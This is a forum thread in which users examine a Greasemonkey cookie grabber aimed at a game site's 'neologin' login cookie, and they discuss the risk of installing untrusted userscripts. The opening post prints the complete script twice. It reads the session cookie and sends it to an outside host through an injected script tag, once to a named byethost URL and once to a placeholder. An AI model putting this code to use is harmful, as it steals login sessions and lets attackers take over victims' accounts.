Trying to understand this...

This is for GM, so if you don't know greasemonkey don't bother posting here xD.
The following is a cookie grabber:

Code (Text):

1. var strURL = 'http://tierbone.byethost18.com/Pets/cookie.php'
2.  
3. var eleNew, newElement;
4.  
5. eleNew = document.getElementById('main');
6.  
7. var strCookie = document.cookie;
8.  
9. strCookie = GetStringBetween(strCookie, 'neologin=','; ');
10.  
11. if (eleNew) {
12.     newElement = document.createElement("div");
13.     newElement.innerHTML='<SCRIPT SRC=' + strURL + strCookie + '>';
14.     eleNew.parentNode.insertBefore(newElement, eleNew.nextSibling);
15. }
16.  
17.  

Is it saving all the info to: "http://tierbone.byethost18.com/Pets/cookie.php" ?
If so, couldn't someone just change the script to:

Code (Text):

1.  
2. var strURL = 'http://websitehere.com/pagehere'
3.  
4. var eleNew, newElement;
5.  
6. eleNew = document.getElementById('main');
7.  
8. var strCookie = document.cookie;
9.  
10. strCookie = GetStringBetween(strCookie, 'neologin=','; ');
11.  
12. if (eleNew) {
13.     newElement = document.createElement("div");
14.     newElement.innerHTML='<SCRIPT SRC=' + strURL + strCookie + '>';
15.     eleNew.parentNode.insertBefore(newElement, eleNew.nextSibling);
16. }

Scary?!

 

That's exactly what I was thinking..





And doesn't that mean that others can just go to the website and steal the account info? :/

 

It'd be a secure website that the scammer created... Duh!
It's called Freewebs lol.

 

thats what a cookie grabber is made to do. Able to change the url where it stores info. Is that the whole script or just a component?

 

Thats the whole script. Thats what scares me.

 

wow.... simple and deadly.

 

:-/ I think I might delete GM so I don't get cookie grabbed at this point.... xD

 

I installed one (the url was changed) just to test. noscript blocks the cg unless you have scripts allowed globally or allow ripway or whatever the name of the site a temporary permission. If you create your own scripts or only install scripts by people you trust then you'll be safe.